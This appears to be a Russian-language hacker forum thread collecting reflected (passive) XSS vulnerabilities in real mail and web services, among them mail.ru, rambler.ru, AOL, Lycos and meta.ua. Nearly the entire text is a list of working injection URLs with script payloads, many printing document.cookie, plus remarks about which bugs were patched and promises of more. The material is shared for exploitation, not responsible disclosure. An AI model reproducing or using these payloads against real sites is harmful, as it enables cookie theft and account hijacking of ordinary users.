Пассивные xss на почтовых серверах

http://wap.ks.korrespondent.net/search.php?keyword=><script>alert('Speciall y for the Antichat')<%2Fscript>

 

job.gala.net

Code:

http://job.gala.net/cgi-bin/faq.cgi?do=add-question&branch_id=21&razdel_id=21&email="><script>alert('xz che za')</script>

 

meta.ua

Code:

http://meta.ua/feeds/weather.asp?city=<script>alert(document.cookie)</script>

Вчера там была и в поиске,не успел выложить,сегодня прихожу уже не работает,значит большая вероятность что и эту пофиксят скоро

 

game.km.ru

Code:

http://game.km.ru/magazin/lenta.asp?idRubr=1&order="><script>alert('d0s')</script>&search=xD

 

wap.afisha.mail.ru

Code:

http://wap.afisha.mail.ru/event.html/"><script>alert(document.cookie)</script>

upd:Кто-то слил им
На днях еще на мейле выложу несколько.

 

wap.rambler.ru

Code:

http://wap.rambler.ru/geo/?back="><script>alert(123)</script>

 

Все баги быстро закрывают из-за того, что сотрудника майла отслеживают такие темы.

 

teentoday.mail.everyone.net/

Code:

http://teentoday.mail.everyone.net/email/scripts/loginuser.pl/"><script>alert(123)</script>

Такого почтовика не слышал,нарыл его в листинге забугорных почтовиков мейла,если что-то не то удалите

 

XSS рабочая и в рабочем виде, а вот если догадаетесь почему она у вас не заработала или заработала, то вы хэккеры))))

 

http://my-mail.co.il

Code:

http://my-mail.co.il/wm/mail/login2.html?user="><script>alert('XSS')</script>

 

mail2000.ru

Code:

http://mail2000.ru/ya.php?query="><script>alert(document.cookie)</script>

 

Code:

[B]http://www.virtualjerusalem.com[/B]/news.php?Itemid="><script>alert(/xss/)</script>

 

smallbusiness.aol.com

Code:

http://smallbusiness.aol.com/search/?q=<script>alert(document.cookie)</script>

 

lycos.com

Code:

https://registration.lycos.com/forgot.php/%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E

mail.infobox.ru

Code:

http://mail.infobox.ru/redirect.php?login_username="><script>alert(/xss/)</script>&secretkey="><script>alert(/xss/)</script>&js_autodetect_results=1&just_logged_in=1&lng=ru_RU&lng=ru_RU

 

music.aol.com

Code:

http://music.aol.com/pictures/search/?cat=photo&query=<script>alert(document.cookie)</script>

 

xakep.ru

Code:

http://xakep.ru/local/search/result.asp?tosearch=</title><script>alert(document.cookie)</script>

 

aboutmail.ru

http://www.aboutmail.ru/?option=com_performs&formid=1

уязвимые поля:
Ваше имя: *
Ваш EMail: *
Заголовок: *

//добавь пример.

 

не почтовый сервис, но XSS няшка

 

Mail.am: PR - 4

Code:

http://realty.mail.am/index.php?page=view_2&tp_tp=\%22%3E%3Cscript%3Ealert%28/xss/%29%3C/script%3E&return=0&realty

 

Mail.ru

Mail.ru​

Code:

http://zhuki.mail.ru/?register=2&form[nick]=%27onmouseover=%27alert%28/xss/%29;%27%20name=%272

Code:

после перехода на ссылку, наведите мышуку на радиокнопку